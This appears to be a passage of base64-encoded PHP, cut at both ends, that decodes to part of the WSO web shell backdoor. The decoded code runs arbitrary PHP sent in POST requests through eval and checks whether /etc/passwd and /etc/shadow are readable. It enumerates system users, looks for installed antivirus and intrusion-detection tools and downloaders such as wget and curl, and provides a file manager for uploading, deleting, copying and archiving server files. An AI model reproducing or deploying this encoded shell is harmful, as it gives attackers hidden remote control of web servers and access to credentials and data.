WJsZV9mdW5jdGlvbnMnXSA/ICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddIDogJ25vbmUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBpbmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpID8gJ2VuYWJsZWQnIDogJ25vJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpICR0ZW1wW10gPSAiTXlTcWwgKCIgLiBteXNxbF9nZXRfY2xpZW50X2luZm8oKSAuICIpIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSAkdGVtcFtdID0gIk1TU1FMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSAkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvY2lfY29ubmVjdCcpKSAkdGVtcFtdID0gIk9yYWNsZSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJykgPyAieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLCAiL2V0Yy8iLCAicGFzc3dkIiknPlt2aWV3XTwvYT4iIDogJ25vJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93JykgPyAieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLCAiL2V0Yy8iLCAic2hhZG93IiknPlt2aWV3XTwvYT4iIDogJ25vJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywgJ2xjYycsICdjYycsICdsZCcsICdtYWtlJywgJ3BocCcsICdwZXJsJywgJ3B5dGhvbicsICdydWJ5JywgJ3RhcicsICdnemlwJywgJ2J6aXAnLCAnYnppcDInLCAnbmMnLCAnbG9jYXRlJywgJ3N1aWRwZXJsJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCAnbm9kMzInLCAnYmRjb3JlZCcsICd1dnNjYW4nLCAnc2F2JywgJ2Ryd2ViZCcsICdjbGFtZCcsICdya2h1bnRlcicsICdjaGtyb290a2l0JywgJ2lwdGFibGVzJywgJ2lwZncnLCAndHJpcHdpcmUnLCAnc2hpZWxkY2MnLCAncG9ydHNlbnRyeScsICdzbm9ydCcsICdvc3NlYycsICdsaWRzYWRtJywgJ3RjcGxvZGcnLCAnc3hpZCcsICdsb2djaGVjaycsICdsb2d3YXRjaCcsICdzeXNtYXNrJywgJ3ptYnNjYXAnLCAnc2F3bWlsbCcsICd3b3Jtc2NhbicsICduaW5qYScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywgJ2ZldGNoJywgJ2x5bngnLCAnbGlua3MnLCAnY3VybCcsICdnZXQnLCAnbHdwLW1pcnJvcicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdXNlcmZ1bCBhcyAkaXRlbSkgaWYgKHdzb1doaWNoKCRpdGVtKSkgJHRlbXBbXSA9ICRpdGVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKSBpZiAod3NvV2hpY2goJGl0ZW0pKSAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICRpdGVtKSBpZiAod3NvV2hpY2goJGl0ZW0pKSAkdGVtcFtdID0gJGl0ZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0Rvd25sb2FkZXJzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnIvPjxzcGFuPnBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncDInXSwgJF9QT1NUWydwMyddKSAmJiBpc19udW1lcmljKCRfUE9TVFsncDInXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AzJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKSAkdGVtcC49IGpvaW4oJzonLCAkdWlkKSAuICINCiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ09TIFZlcnNpb24nLCB3c29FeCgndmVyJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCB3c29FeCgnbmV0IGFjY291bnRzJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLCB3c29FeCgnbmV0IHVzZXInKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvRm9vdGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjdGlvblBocCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICInIikgLiAiJzsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiIiwgJHRlbXA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4JywgMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb0hlYWRlcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBocGluZm8oKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoYXJyYXkoJyEoYm9keXxhOncrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCAnIXRkLCB0aCB7KC4qKX0hbXNpVScsICchPGltZ1tePl0rPiFtc2lVJywpLCBhcnJheSgnJywgJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nL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JycpIC4gJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9wcmU+PC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvRm9vdGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfQ09PS0lFWydmJ10pKSAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJF9QT1NUWydwMSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbWtkaXInOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLCAtMSkgPT0gJy8nKSA/ICRwYXRoIDogJHBhdGggLiAnLyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGggPSBvcGVuZGlyKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGl0ZW0gPSByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGggLiAkaXRlbTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikgZGVsZXRlRGlyKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIEB1bmxpbmsoJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBybWRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIGZvcmVhY2ggKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRmKSkgZGVsZXRlRGlyKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgQHVubGluaygkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGFzdGUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywgJHMsICRkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkYyAuICRzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZCAuICRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAb3BlbmRpcigkYyAuICRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKSBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgY29weV9wYXN0ZSgkYyAuICRzIC4gJy8nLCAkZiwgJGQgLiAkcyAuICcvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJGMgLiAkcykpIEBjb3B5KCRjIC4gJHMsICRkIC4gJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9DT09LSUVbJ2YnXSBhcyAkZikgY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCAkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsICRzLCAkZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGMgLiAkcykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQgLiAkcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMgLiAkcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIGNvcHlfcGFzdGUoJGMgLiAkcyAuICcvJywgJGYsICRkIC4gJHMgLiAnLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChAaXNfZmlsZSgkYyAuICRzKSkgQGNvcHkoJGMgLiAkcywgJGQgLiAkcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnZiddIGFzICRmKSBAcmVuYW1lKCRfQ09PS0lFWydjJ10gLiAkZiwgJEdMT0JBTFNbJ2N3ZCddIC4gJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXSAuICRmKSkgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddIC4gJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICA